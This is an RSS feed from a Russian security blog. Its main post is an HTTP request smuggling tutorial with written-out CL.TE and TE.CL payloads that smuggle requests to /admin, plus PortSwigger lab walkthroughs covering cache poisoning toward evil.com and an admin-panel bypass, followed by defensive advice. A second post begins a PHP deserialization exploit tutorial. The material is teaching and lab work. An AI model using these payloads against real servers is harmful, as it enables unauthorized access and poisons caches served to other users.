<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>wr3dmast3r</title><generator>teletype.in</generator><description><![CDATA[wr3dmast3r]]></description><image><url>https://img2.teletype.in/files/dd/1d/dd1ded52-0f60-4a75-8c11-c84965892af3.png</url><title>wr3dmast3r</title><link>https://teletype.in/@wr3dmast3r</link></image><link>https://teletype.in/@wr3dmast3r?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=wr3dmast3r</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/wr3dmast3r?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/wr3dmast3r?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Sun, 14 Jun 2026 20:45:37 GMT</pubDate><lastBuildDate>Sun, 14 Jun 2026 20:45:37 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@wr3dmast3r/ee1zuiInIr1</guid><link>https://teletype.in/@wr3dmast3r/ee1zuiInIr1?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=wr3dmast3r</link><comments>https://teletype.in/@wr3dmast3r/ee1zuiInIr1?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=wr3dmast3r#comments</comments><dc:creator>wr3dmast3r</dc:creator><title>HTTP Request Smuggling: как особенности в обработке HTTP-заголовков приводят к атакам CL.TE и TE.CL</title><pubDate>Thu, 03 Jul 2025 00:48:20 GMT</pubDate><media:content medium="image" url="https://img1.teletype.in/files/cc/16/cc166abe-e5bc-4a5e-98e3-328aee1c7ba2.png"></media:content><description><![CDATA[<img src="https://img3.teletype.in/files/63/d3/63d33226-8bc4-4d30-b7a9-895f4b046e0b.png"></img>HTTP Request Smuggling или контрабанда HTTP-запросов — тип уязвимости, который возникает из-за несоответствий в обработке HTTP-запросов между фронтендом и бэкендом. Каким образом различия в интерпретации заголовков позволяют атакующим использовать эту уязвимость? Как HTTP Request Smuggling можно использован в сочетании с Web Cache Poisoning? И на что обратить внимание, чтобы предотвратить подобные атаки? Разберем вместе на примере лабораторных работ с PortSwigger.]]></description><content:encoded><![CDATA[
  <figure id="pti6" class="m_original">
    <img src="https://img3.teletype.in/files/63/d3/63d33226-8bc4-4d30-b7a9-895f4b046e0b.png" width="1560" />
  </figure>
  <p id="i0GI"><strong>HTTP Request Smuggling</strong> или контрабанда HTTP-запросов — тип уязвимости, который возникает из-за несоответствий в обработке HTTP-запросов между фронтендом и бэкендом. Каким образом различия в интерпретации заголовков позволяют атакующим использовать эту уязвимость? Как <strong>HTTP Request Smuggling</strong> можно использован в сочетании с <strong>Web Cache Poisoning</strong>? И на что обратить внимание, чтобы предотвратить подобные атаки? Разберем вместе на примере лабораторных работ с <strong>PortSwigger</strong>.</p>
  <h2 id="MnBm">Введение в HTTP и его эволюция</h2>
  <p id="XEXS">Протокол <strong>HTTP</strong> (<strong>HyperText Transfer Protocol</strong>) — основа современного веба. Первая версия <strong>HTTP/0.9</strong> была крайне простой и поддерживала только <strong>GET-запросы</strong>. С появлением <strong>HTTP/1.0</strong> клиенты получили возможность отправлять более сложные запросы. Но для каждого из них требовалось устанавливать новое TCP-соединение, что создавало значительную нагрузку на сеть, особенно при загрузке страниц с множеством ресурсов — изображения, скрипты и стили.</p>
  <p id="2Hby">В <strong>HTTP/1.1</strong> появилась поддержка постоянных соединений (<strong>Persistent Connections</strong>). Это позволило использовать одно <strong>TCP-соединение</strong> для нескольких запросов и ответов, что значительно улучшило производительность. Также появилась возможность конвейерной обработки запросов (<strong>HTTP Pipelining</strong>), но из-за проблем с прокси-серверами и блокировкой очередей эта функция не получила широкого распространения.</p>
  <p id="0ai3">С развитием протокола добавлялись новые функции, которые улучшили производительность, но также привели к появлению новых уязвимостей — например, <strong>HTTP Request Smuggling</strong>. Эта уязвимость возникает из-за различий в обработке запросов между разными компонентами системы — балансировщиками нагрузки и серверами приложений. Усложнение процесса обработки запросов, включая использование заголовков <strong>Content-Length</strong> и <strong>Transfer-Encoding</strong>, увеличило риск их неправильной интерпретации.</p>
  <p id="ZPRU">Современные версии протокола, такие как <strong>HTTP/2</strong> и <strong>HTTP/3</strong>, продолжают развиваться, предлагая новые механизмы для повышения производительности и безопасности. Однако, несмотря на эти улучшения, уязвимости, связанные с неправильной обработкой запросов, остаются актуальными из-за сложности взаимодействия между разными компонентами системы.</p>
  <h2 id="7fWd">Основы HTTP-запросов и особенности их обработки</h2>
  <p id="2sgG"><strong>HTTP-сообщения</strong> — это основной способ обмена данными между клиентом и сервером в рамках протокола <strong>HTTP</strong>. Они делятся на два типа:</p>
  <ul id="8r40">
    <li id="tdoc">запросы, которые инициирует клиент для выполнения действий на сервере;</li>
    <li id="L8Mv">ответы, которые сервер возвращает в результате обработки запроса.</li>
  </ul>
  <figure id="4JKw" class="m_original">
    <img src="https://img2.teletype.in/files/db/92/db9290a7-5ee0-4602-9134-162c81e2ee48.png" width="1560" />
  </figure>
  <p id="ayPE">Структура <strong>HTTP-сообщений</strong> — как запросов, так и ответов — состоит из нескольких частей:</p>
  <p id="kMuX">● Строка запроса (<strong>Start Line</strong>). В запросе она содержит метод — например, GET, POST — путь к ресурсу и версию HTTP. В ответе указывается версия протокола, код состояния и его текстовое описание.</p>
  <p id="WHX5">● Заголовки (<strong>Headers</strong>). Это набор пар «ключ-значение» которые передают метаданные о запросе или ответе. Например, заголовки могут указывать: тип содержимого (<strong>Content-Type</strong>), размер данных (<strong>Content-Length</strong>) или кэширование (<strong>Cache-Control</strong>).</p>
  <p id="B9Nh">● Пустая строка (<strong>Empty Line</strong>). Она разделяет заголовки и тело сообщения, сигнализируя о завершении метаданных.</p>
  <p id="2GYC">● Тело запроса (<strong>Body</strong>). Необязательная часть, которая содержит данные, связанные с запросом или ответом. Например, в POST-запросе тело может включать данные формы, а в ответе — содержимое запрашиваемого ресурса.</p>
  <p id="EhpC">Ключевые заголовки — <strong>Content-Length</strong> и <strong>Transfer-Encoding</strong> — важны в обработке сообщений. Заголовок <strong>Content-Length</strong> указывает размер тела в байтах, а <strong>Transfer-Encoding: chunked</strong> позволяет передавать данные частями (<strong>chunks</strong>). Однако одновременное использование этих заголовков может привести к конфликтам, например, к уязвимостям типа <strong>HTTP Request Smuggling</strong>, когда фронтенд и бэкенд по-разному интерпретируют запрос.</p>
  <p id="xcdt">Кроме того, <strong>HTTP-сообщения</strong> используют специальные символы <strong>\r\n</strong> — возврат каретки и перевод строки — для разделения строк и частей сообщения. Например:</p>
  <pre id="mkDT">POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 10\r\n
\r\n
wr3dmast3r</pre>
  <h2 id="87Ub">Концепция HTTP Request Smuggling</h2>
  <p id="aFR8"><strong>HTTP Request Smuggling</strong> — это тип уязвимости, который возникает из-за несоответствий в обработке HTTP-запросов между фронтендом, например, балансировщиком нагрузки или reverse proxy, и бэкендом — сервером приложения. Фронтенд выступает в роли посредника, который принимает запросы от клиентов и передает их на бэкенд для дальнейшей обработки.</p>
  <p id="JWDz">Однако, если фронтенд и бэкенд по-разному интерпретируют заголовки <strong>Content-Length</strong> и <strong>Transfer-Encoding</strong>, это может привести к уязвимостям. Например:</p>
  <p id="LGRO">● Фронтенд может использовать заголовок <strong>Content-Length</strong> для определения размера тела запроса.</p>
  <p id="mecU">● Бэкенд, в свою очередь, может полагаться на заголовок <strong>Transfer-Encoding: chunked</strong>, который указывает, что тело запроса передается частями.</p>
  <p id="tS7c">Если запрос содержит оба заголовка одновременно, это может привести к тому, что часть запроса останется необработанной и «перетечет» в следующий запрос. В результате у атакующего появится возможность внедрить вредоносные данные или манипулировать поведением сервера.</p>
  <figure id="7K0D" class="m_original">
    <img src="https://img2.teletype.in/files/14/d9/14d97242-d885-4d20-a6a0-344eb99f9710.png" width="1560" />
  </figure>
  <p id="4Gcg">Согласно <a href="https://datatracker.ietf.org/doc/html/rfc2616" target="_blank">RFC 2616</a>, если запрос содержит оба заголовка — <strong>Content-Length</strong> и <strong>Transfer-Encoding</strong> — сервер должен игнорировать <strong>Content-Length</strong> и использовать <strong>Transfer-Encoding</strong>. Однако на практике фронтенд и бэкенд могут не следовать этому правилу, что и приводит к уязвимостям.</p>
  <p id="hRfn">Представьте, что фронтенд — это охранник на входе в здание, а бэкенд — сотрудник внутри. Если охранник и сотрудник по-разному интерпретируют инструкции, атакующий может обмануть охранника и пронести в здание запрещенный предмет. Точно так же, при <strong>HTTP Request Smuggling</strong>, атакующий может «протащить» вредоносный запрос, используя разницу в интерпретации данных между фронтендом и бэкендом.</p>
  <p id="Odnx">Важно отметить, что <strong>HTTP Request Smuggling</strong> не эксплуатирует уязвимости в самом веб-приложении. Вместо этого она использует особенности интерпретации HTTP-сообщений веб-серверами. Это инфраструктурная уязвимость, которая возникает из-за некорректной настройки или взаимодействия между компонентами веб-серверов.</p>
  <p id="gKsN">С помощью этой уязвимости при атаке можно достичь такие цели:</p>
  <p id="CYpN">● повышение привилегий;<br /> ● обход механизмов безопасности;<br /> ● доступ или изменение данных;<br /> ● кража сессии;<br /> ● отравление кэша.</p>
  <p id="gZF8">Это лишь некоторые из возможных вариантов использования уязвимости. В зависимости от контекста приложения и особенностей взаимодействия между фронтендом и бэкендом, атакующий может найти и другие способы применения <strong>HTTP Request Smuggling</strong>.</p>
  <h2 id="MLnN">Разница между CL.TE и TE.CL HTTP Request Smuggling</h2>
  <p id="EMjp">Рассмотрим два варианта <strong>HTTP Request Smuggling</strong>, характерных для <strong>HTTP/1.1</strong>: <strong>CL.TE</strong> и <strong>TE.CL</strong>. Но отметим, что подобные уязвимости могут возникать и в других версиях протокола. Ключевой момент — разница в интерпретации заголовков <strong>Content-Length (CL)</strong> и <strong>Transfer-Encoding (TE)</strong> между фронтендом и бэкендом. В зависимости от того, какой сервер использует какой заголовок, атакующий может манипулировать запросами, чтобы внедрить вредоносные данные.</p>
  <p id="qZiq">Давайте разберем, как это работает в случаях <strong>CL.TE</strong> и <strong>TE.CL</strong>, а также, почему важно правильно учитывать символы, особенно при использовании <strong>chunked-кодирования</strong>. Понимание этих механизмов поможет лучше защитить инфраструктуру от подобных атак.</p>
  <p id="NrKW"><strong>CL.TE (Frontend: Content-Length, Backend: Transfer-Encoding).</strong> В этом сценарии фронтенд использует заголовок <strong>Content-Length</strong> для определения размера тела запроса, а бэкенд — заголовок <strong>Transfer-Encoding: chunked</strong> для обработки тела запроса как <strong>chunked-данных</strong>.</p>
  <p id="3o4N">Рассмотрим пример запроса:</p>
  <pre id="HzXh">POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 43\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /admin HTTP/1.1\r\n
Host: example.com</pre>
  <p id="TD6a">Фронтенд видит <strong>Content-Length: 43</strong>, считает, что тело запроса составляет <strong>43 байта</strong> и передает весь запрос на бэкенд. Бэкенд видит <strong>Transfer-Encoding: chunked</strong> и начинает обрабатывать тело запроса как <strong>chunked-данные</strong> — первый <strong>chunk: 0\r\n\r\n</strong> — это конец <strong>chunked-данных</strong>. Всё, что идет после — <strong>GET /admin HTTP/1.1\r\n Host: example.com</strong> — бэкенд интерпретирует как начало нового запроса. В результате бэкенд обрабатывает второй запрос — <strong>GET /admin</strong> — который «внедрил» атакующий.</p>
  <p id="frZL">В этом случае атакующему нужно убедиться, что размер тела запроса, указанный в <strong>Content-Length</strong>, соответствует данным, которые фронтенд передаст на бэкенд. Остальные данные «перетекают» в следующий запрос.</p>
  <figure id="sNDu" class="m_original">
    <img src="https://img3.teletype.in/files/61/34/6134c85e-0e9e-44d1-a42f-a25e29de83db.png" width="1560" />
  </figure>
  <p id="6ET1"><strong>TE.CL (Frontend: Transfer-Encoding, Backend: Content-Length).</strong> В этом сценарии фронтенд использует заголовок <strong>Transfer-Encoding: chunked</strong> для обработки тела запроса, а бэкенд использует заголовок <strong>Content-Length</strong> для определения размера тела запроса.</p>
  <p id="0dTK">Рассмотрим пример запроса:</p>
  <pre id="CV4a">POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
7e\r\n
GET /admin HTTP/1.1\r\n
Host: example.com\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 20\r\n
\r\n
exploit=exploit\r\n
0\r\n
\r\n</pre>
  <p id="6qss">Фронтенд видит <strong>Transfer-Encoding: chunked</strong> и обрабатывает тело запроса как <strong>chunked-данные</strong> — <strong>первый chunk: 7e</strong> (шестнадцатеричное значение, равное 126 байтам). Фронтенд читает следующие <strong>126 байт</strong>, включая строку <strong>GET /admin HTTP/1.1</strong> и всё, что идет после. Затем видит завершающий <strong>chunk (0\r\n\r\n)</strong> и завершает обработку запроса.</p>
  <p id="fUwk">Бэкенд видит <strong>Content-Length: 4</strong> и читает только первые 4 байта тела запроса — <strong>7e\r\n</strong>. Оставшиеся данные — <strong>GET /admin HTTP/1.1</strong> и так далее — бэкенд не обрабатывает, и они «перетекают» в следующий запрос. Когда следующий пользователь отправляет запрос, бэкенд начинает его обработку с «перетекших» данных, что может привести к неправильной интерпретации запроса.</p>
  <p id="HxQk">В этом случае атакующий использует <strong>chunked-кодирование</strong>, чтобы фронтенд обработал весь запрос, а бэкенд прочитал только часть данных, указанную в <strong>Content-Length</strong>. Значение <strong>7e (126 в десятичной системе)</strong> используется для указания размера <strong>chunk</strong>. Это позволяет фронтенду обработать большой объем данных, в то время как бэкенд прочитает только <strong>первые 4 байта</strong>.</p>
  <figure id="gd1B" class="m_original">
    <img src="https://img4.teletype.in/files/3d/93/3d932e6f-c0e7-40a9-b1ad-bf8300991c92.png" width="1560" />
  </figure>
  <h2 id="Tslq">Ключевые различия между CL.TE и TE.CL</h2>
  <figure id="HWKJ" class="m_original">
    <img src="https://img1.teletype.in/files/c9/f3/c9f36c6d-e0bf-449d-ba67-809a161182b9.png" width="975" />
  </figure>
  <p id="B5GH">Важно правильно подсчитывать символы, потому что в <strong>CL.TE-атаке</strong> необходимо, чтобы размер тела запроса, указанный в <strong>Content-Length</strong>, соответствовал данным, которые фронтенд передаст на бэкенд. Остальные данные «перетекают» в следующий запрос. </p>
  <p id="ZzLN">В <strong>TE.CL-атаке</strong> атакующий использует <strong>chunked-кодирование</strong>, чтобы фронтенд обработал определенный объем данных, а бэкенд прочитал только часть, указанную в <strong>Content-Length</strong>. Для этого требуется точный расчета размера chunk и понимание как фронтенд и бэкенд интерпретируют данные.</p>
  <h2 id="7gHN">Классический пример отравления запроса</h2>
  <p id="rW9z">Рассмотрим пример, где атакующий отправляет запрос с двумя заголовками: <strong>Content-Length</strong> и <strong>Transfer-Encoding</strong>. Фронтенд и бэкенд интерпретируют запрос по-разному, что приводит к отравлению следующего запроса.</p>
  <p id="Ytxr">Вот как это выглядит:</p>
  <figure id="7HrS" class="m_original">
    <img src="https://img4.teletype.in/files/7f/d9/7fd92bde-e313-4a19-b5de-9d4be2823a4e.png" width="1560" />
  </figure>
  <p id="0uru">Что здесь происходит:</p>
  <ol id="jiDz">
    <li id="4Bte">Атакующий отправляет запрос с заголовками <strong>Content-Length: 6</strong> и <strong>Transfer-Encoding: chunked</strong>. Тело запроса содержит <strong>chunked-данные: 0\r\n\r\nG</strong>.</li>
    <li id="z6l0">Фронтенд — например, балансировщик нагрузки — интерпретирует запрос на основе <strong>Content-Length: 6</strong> и считает, что тело запроса составляет <strong>6 байт</strong>. Он передает весь запрос на бэкенд, включая символ <strong>«G»</strong>.</li>
    <li id="vyIx">Бэкенд, в свою очередь, использует <strong>Transfer-Encoding: chunked</strong> и ожидает <strong>chunked-данные</strong>. Он обрабатывает <strong>0\r\n\r\n</strong> как конец запроса и игнорирует символ <strong>«G»</strong>. В результате символ <strong>«G»</strong> остается необработанным и «перетекает» в следующий запрос.</li>
    <li id="m2HI">Когда другой пользователь отправляет следующий запрос, бэкенд начинает его обработку с символа <strong>«G»</strong>. Это приводит к тому, что запрос интерпретируется как <strong>GPOST</strong> вместо <strong>POST</strong>, из-за чего возникает ошибка.</li>
  </ol>
  <h2 id="9Xic">Практика</h2>
  <p id="Njfu">Рассмотрим подобные атаки в деле на примере двух уязвимых приложений, в которых уязвимости <strong>HTTP Request Smuggling</strong> используется в комбинации с <strong>Web Cache Poisoning</strong>.</p>
  <h3 id="XMYy">Lab: Exploiting HTTP request smuggling to perform web cache poisoning</h3>
  <p id="X2QR"><a href="https://portswigger.net/web-security/request-smuggling/exploiting/lab-perform-web-cache-poisoning" target="_blank">Эта лабораторная работа</a> включает фронтенд- и бэкенд-серверы, при этом фронтенд-сервер не поддерживает <strong>chunked-кодирование</strong>. Он настроен на кэширование определенных ответов.</p>
  <p id="60bQ">Цель — выполнить атаку с использованием уязвимости <strong>HTTP Request Smuggling</strong>, которая приведет к отравлению кэша. В результате последующий запрос на загрузку JavaScript-файла должен перенаправляться на сервер атакующего.</p>
  <p id="IHOc">Подтверждение уязвимости. На главной странице веб-приложения можно проверить наличие <strong>HTTP Request Smuggling</strong>. Во-первых, нам нужно определить, какие заголовки использует веб-приложение, например:</p>
  <p id="S69o">● <strong>CL.TE</strong> — интерфейс использует заголовок <strong>Content-Length</strong>, серверная часть использует заголовок <strong>Transfer-Encoding</strong>.<br /> ● <strong>TE.CL</strong> — интерфейс использует заголовок <strong>Transfer-Encoding</strong>, серверная часть использует заголовок <strong>Content-Length</strong>.</p>
  <p id="QWwt">Обращаем внимание на эти две настройки, при проверке данной уязвимости они важны:</p>
  <figure id="RTQf" class="m_original">
    <img src="https://img2.teletype.in/files/9a/9a/9a9ad972-72d0-4a85-b0e2-27597eb9fb02.png" width="1560" />
  </figure>
  <p id="AvfQ">Запрос для проверки атаки:</p>
  <figure id="vArN" class="m_original">
    <img src="https://img4.teletype.in/files/70/1f/701faa8f-9b95-4e9a-a0a7-c24d056d3f32.png" width="1205" />
  </figure>
  <p id="3t8V">Следующий после него запрос:</p>
  <figure id="JlC3" class="m_original">
    <img src="https://img2.teletype.in/files/1c/e1/1ce13474-7205-460c-8042-1847d678ed32.png" width="1210" />
  </figure>
  <p id="2xl2">Так как следующий по порядку запрос возвращает код состояния <strong>404</strong>, можно понять, что веб-приложение уязвимо для подделки HTTP-запросов <strong>CL.TE</strong>.</p>
  <p id="MUh4"><strong>Изучение структуры приложения.</strong> При анализе истории HTTP-запросов можно заметить, что всё, что находится в директории <strong>/resources/*</strong> — кэшируется. Например, JavaScript-файлы, такие как <strong>/resources/js/tracking.js</strong>:</p>
  <figure id="stTC" class="m_original">
    <img src="https://img4.teletype.in/files/f7/af/f7af5213-8424-44a6-9bfa-e1e73404d31b.png" width="1207" />
  </figure>
  <p id="a9tb">При просмотре функции отображения постов в блоге можно заметить функцию перехода к следующему посту:</p>
  <figure id="7ayQ" class="m_original">
    <img src="https://img2.teletype.in/files/5b/54/5b549e7c-767f-4f4e-9afe-89b8175176bf.png" width="993" />
  </figure>
  <p id="AW7o">При нажатии на ссылку отправляется GET-запрос на <strong>/post/next</strong> с параметром <strong>postId</strong>, после чего происходит перенаправление на следующий пост:</p>
  <figure id="HTWr" class="m_original">
    <img src="https://img4.teletype.in/files/bb/fb/bbfb87a1-4bcf-49f3-8014-f92eff46db39.png" width="1203" />
  </figure>
  <p id="cy3I"><strong>Web Cache Poisoning.</strong> Это атака, при которой атакующий манипулирует кэшем сервера, чтобы заставить его сохранить вредоносные данные. Когда другие пользователи запрашивают закэшированный ресурс, они получают подмененные данные, что может привести к перенаправлению на вредоносный сайт или выполнению вредоносного JS-кода.</p>
  <p id="fqMh">Цель атаки — заставить сервер кэшировать вредоносный JavaScript-файл, который будут загружать другие пользователи. Для этого можно использовать <strong>HTTP Request Smuggling</strong>, чтобы подменить содержимое кэшируемого файла.</p>
  <p id="BOzm">Попробуем использовать <strong>HTTP Request Smuggling</strong> для подмены заголовка <strong>Host</strong> в запросе с перенаправлением:</p>
  <figure id="Whsl" class="m_original">
    <img src="https://img1.teletype.in/files/8d/fb/8dfb605f-3f28-44e1-90b8-4266b40960f6.png" width="1210" />
  </figure>
  <p id="BBUa">Когда мы отправили второй запрос, веб-приложение ответило нашим замаскированным запросом (<strong>/post/next?postId=5</strong>), и перенаправило нас на <strong>evil.com</strong>. Учитывая эту информацию, если мы сможем использовать перехват <strong>HTTP-запросов</strong> для заражения веб-кэша, мы сможем перенаправлять пользователей куда угодно.</p>
  <p id="dNwv">Размещаем эксплойт:</p>
  <figure id="4wQ3" class="m_original">
    <img src="https://img4.teletype.in/files/3b/45/3b455d00-673a-4fc4-b61b-466eb974e24a.png" width="1054" />
  </figure>
  <p id="ce5S">Для атаки мы сначала отправляем с <strong>HTTP Request Smuggling</strong> отравленный запрос, который будет выполнять перенаправление на наш веб-сервер. После этого нам нужно отравить кэшируемый файл <strong>/resources/js/tracking.js</strong>, чтобы в кэш попало наше перенаправление, далее будет происходить импорт нашей полезной нагрузки на сайт.</p>
  <p id="BaYq">Запрос на <strong>HTTP Request Smuggling</strong>:</p>
  <figure id="6Ym4" class="m_original">
    <img src="https://img2.teletype.in/files/59/ba/59bac6d4-10be-403d-acac-7778875421a4.png" width="1204" />
  </figure>
  <p id="ZcFt">Следующий отправленный запрос в приложении будет иметь перенаправление:</p>
  <figure id="ekoI" class="m_original">
    <img src="https://img2.teletype.in/files/91/cb/91cbeb57-538a-40ff-b784-0ace780992a0.png" width="1207" />
  </figure>
  <p id="Ffog">Результат:</p>
  <figure id="fg0Y" class="m_original">
    <img src="https://img4.teletype.in/files/f6/70/f6706d1e-b5b2-4d0a-a602-b23838a121b7.png" width="1560" />
  </figure>
  <h3 id="Xl1R">Lab: Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability</h3>
  <p id="K3nT"><a href="https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl" target="_blank">Эта лабораторная работа</a> включает два сервера: фронтенд, например, балансировщик нагрузки или reverse proxy, и бэкенд — сервер приложения. Важно отметить, что бэкенд-сервер не поддерживает <strong>chunked-кодирование</strong>. На сервере также есть админ-панель по пути <strong>/admin</strong>, но доступ к ней блокируется фронтенд-сервером.</p>
  <p id="ZHid">Цель — используя уязвимость <strong>HTTP Request Smuggling</strong>, провести атаку, которая позволит получить доступ к админ-панели на бэкенд-сервере и удалить пользователя carlos.</p>
  <p id="i0HJ">Подтверждение уязвимости. Здесь мы можем попытаться определить, уязвимо ли веб-приложение для перехвата HTTP-запросов. Во-первых, нам нужно определить, какой тип HTTP-запроса используется, например:</p>
  <p id="pD8p">● <strong>CL.TE</strong> интерфейс использует заголовок <strong>Content-Length</strong>, серверная часть использует заголовок <strong>Transfer-Encoding</strong>.<br /> ● <strong>TE.CL</strong> интерфейс использует заголовок <strong>Transfer-Encoding</strong>, серверная часть использует заголовок <strong>Content-Length</strong>.</p>
  <p id="LQdy">Запрос на проверку <strong>HTTP Request Smuggling</strong>:</p>
  <figure id="7CuY" class="m_original">
    <img src="https://img1.teletype.in/files/08/53/085359ca-71c9-43a5-b292-7fa6e2102fda.png" width="1175" />
  </figure>
  <p id="3Cm1">Сервер возвращает код состояния 500. Поэтому мы можем предположить, что веб-приложение уязвимо для подделки HTTP-запросов <strong>TE.CL</strong>.</p>
  <p id="xop3"><strong>Эксплуатация уязвимости</strong></p>
  <p id="Vjfj">Проверяем админ-панель:</p>
  <figure id="ywO6" class="m_original">
    <img src="https://img4.teletype.in/files/35/b1/35b1cf31-4919-490b-95c9-e4430441d66d.png" width="914" />
  </figure>
  <p id="AMbP">Пробуем обойти ограничение с помощью <strong>HTTP Request Smuggling</strong>:</p>
  <figure id="op7l" class="m_original">
    <img src="https://img1.teletype.in/files/88/3e/883ec2b8-9a41-40ff-ba5d-720bbbf563c3.png" width="1175" />
  </figure>
  <p id="DDyI">Следующий запрос:</p>
  <figure id="gZ9K" class="m_original">
    <img src="https://img1.teletype.in/files/c7/13/c7138306-c904-4057-9eea-a8de6017461a.png" width="1176" />
  </figure>
  <p id="2Wrm">Мы смогли обойти блокировку доступа к директории <strong>/admin</strong> — это уже что-то. Попробуем использовать <strong>localhost</strong> во втором запросе:</p>
  <figure id="EVcd" class="m_original">
    <img src="https://img2.teletype.in/files/1a/92/1a926d84-8ad3-4a3b-93ae-0d0c1bfca09e.png" width="1179" />
  </figure>
  <p id="xpUs">Следующий запрос:</p>
  <figure id="6FPX" class="m_original">
    <img src="https://img2.teletype.in/files/96/f4/96f4f993-1817-42ea-b21d-c47fadf2f5db.png" width="1187" />
  </figure>
  <p id="9UAc">Отлично, мы получили доступ к админ-панели, осталось удалить пользователя:</p>
  <figure id="4tqi" class="m_original">
    <img src="https://img2.teletype.in/files/da/cb/dacb7582-b012-4120-ad59-e239c5867206.png" width="1070" />
  </figure>
  <p id="pvVC">Следующий запрос:</p>
  <figure id="m0cm" class="m_original">
    <img src="https://img1.teletype.in/files/4b/d7/4bd78518-8114-4f56-948c-9d81cf672fd1.png" width="1066" />
  </figure>
  <h2 id="BMex">Рекомендации по защите</h2>
  <p id="jMn3"><strong>HTTP Request Smuggling</strong> — серьезная уязвимость, которая может привести к компрометации данных и нарушению работы серверов. Понимание механизмов HTTP и правильная настройка серверов — ключ для предотвращения таких атак. Регулярное тестирование и обновление инфраструктуры помогут минимизировать риски и обеспечить безопасность ваших приложений. Также рекомендуется использовать современные версии протокола — <strong>HTTP/2</strong> и <strong>HTTP/3</strong> — у которых есть встроенные механизмы для предотвращения подобных атак.</p>
  <p id="EwFs"><strong>Четыре совета:</strong></p>
  <ol id="8Z4q">
    <li id="29w0">Запретить повторное использование соединений с бэкендом. Это исключит возможность «перетекания» данных между запросами, а это — основа для атак типа Smuggling.</li>
    <li id="36gx">Перейти на HTTP/2 для взаимодействия с бэкендом. Этот протокол использует бинарный формат и строгую структуру сообщений, что снижает вероятность ошибок интерпретации.</li>
    <li id="My0c">Унифицировать ПО на фронтенде и бэкенде. Использование одинакового программного обеспечения минимизирует различия в обработке запросов, что снижает риск уязвимостей.</li>
    <li id="JJpY">Внедрить WAF (Web Application Firewall) с функцией обнаружения аномалий. Современные WAF способны анализировать трафик и блокировать подозрительные запросы, включая попытки HTTP Request Smuggling.</li>
  </ol>
  <p id="FCvo"><strong>Дополнительные ссылки:</strong></p>
  <p id="MOtk"><a href="https://media.defcon.org/DEF%20CON%2027/DEF%20CON%2027%20presentations/DEFCON-27-albinowax-HTTP-Desync-Attacks-whitepaper.pdf" target="_blank">HTTP Desync Attacks: Smashing into the Cell Next Door — DEF CON </a></p>
  <p id="Dr36"><a href="https://dev.to/accreditly/http1-vs-http2-vs-http3-2k1c" target="_blank">HTTP 1 Vs HTTP 2 Vs HTTP 3 </a></p>
  <p id="YkkE"><a href="https://portswigger.net/web-security/request-smuggling" target="_blank">PortSwigger — HTTP Request Smuggling </a></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@wr3dmast3r/lNkqYTiVB8J</guid><link>https://teletype.in/@wr3dmast3r/lNkqYTiVB8J?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=wr3dmast3r</link><comments>https://teletype.in/@wr3dmast3r/lNkqYTiVB8J?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=wr3dmast3r#comments</comments><dc:creator>wr3dmast3r</dc:creator><title>Небезопасная десериализация в PHP: Как создать собственный эксплойт</title><pubDate>Thu, 03 Jul 2025 00:44:50 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/30/87/308798fb-ade6-40c9-82dc-ce630eda1c04.png"></media:content><description><![CDATA[<img src="https://img3.teletype.in/files/e3/7e/e37e7a19-6bb9-44f4-b9ac-0b83232de152.jpeg"></img>Сегодня мы познакомимся с уязвимостями небезопасной десериализации в PHP, научимся писать эксплойты для эксплуатации уязвимости в рамках тестирований на проникновение и попробуем себя в анализе кода.]]></description><content:encoded><![CDATA[
  <figure id="3mAl" class="m_original">
    <img src="https://img3.teletype.in/files/e3/7e/e37e7a19-6bb9-44f4-b9ac-0b83232de152.jpeg" width="1426" />
  </figure>
  <p id="cMen">Сегодня мы познакомимся с уязвимостями небезопасной десериализации в <strong>PHP</strong>, научимся писать эксплойты для эксплуатации уязвимости в рамках тестирований на проникновение и попробуем себя в анализе кода.</p>
  <h2 id="vCQB">Что такое сериализация</h2>
  <p id="DybF">Сериализация — это процесс преобразования объекта в формат, который можно легко сохранить или передать, например, в виде строки. Этот процесс широко используется в языках программирования, таких как <strong>Java</strong>, <strong>PHP</strong> или <strong>.NET</strong>. Обратный процесс, называемый десериализацией, позволяет восстановить объект из сериализованного формата, возвращая его в первоначальное состояние.</p>
  <p id="y47s">Чтобы понять, как работают инъекции объектов в <strong>PHP</strong>, важно разобраться в механизмах сериализации и десериализации.</p>
  <p id="w8Ge">Когда необходимо передать объект по сети в <strong>PHP</strong>, мы используем функцию <strong>serialize()</strong>, которая упаковывает объект в строку:</p>
  <p id="VyHQ"><code>serialize(): PHP объект -&gt; строка, представляющая объект.</code></p>
  <p id="arzi">Для восстановления объекта из сериализованных данных применяется функция <strong>unserialize()</strong>:</p>
  <p id="LOFe"><code>unserialize(): строка с данными объекта -&gt; исходный объект.</code></p>
  <p id="IC9r">Следующий код сериализует объект &quot;user&quot;:</p>
  <pre id="H4Yl">&lt;?phpclass User{  public $username;  public $role;}$user = new User;$user-&gt;username = &#x27;wr3dmast3r&#x27;;$user-&gt;role = &#x27;user&#x27;;echo serialize($user);?&gt;</pre>
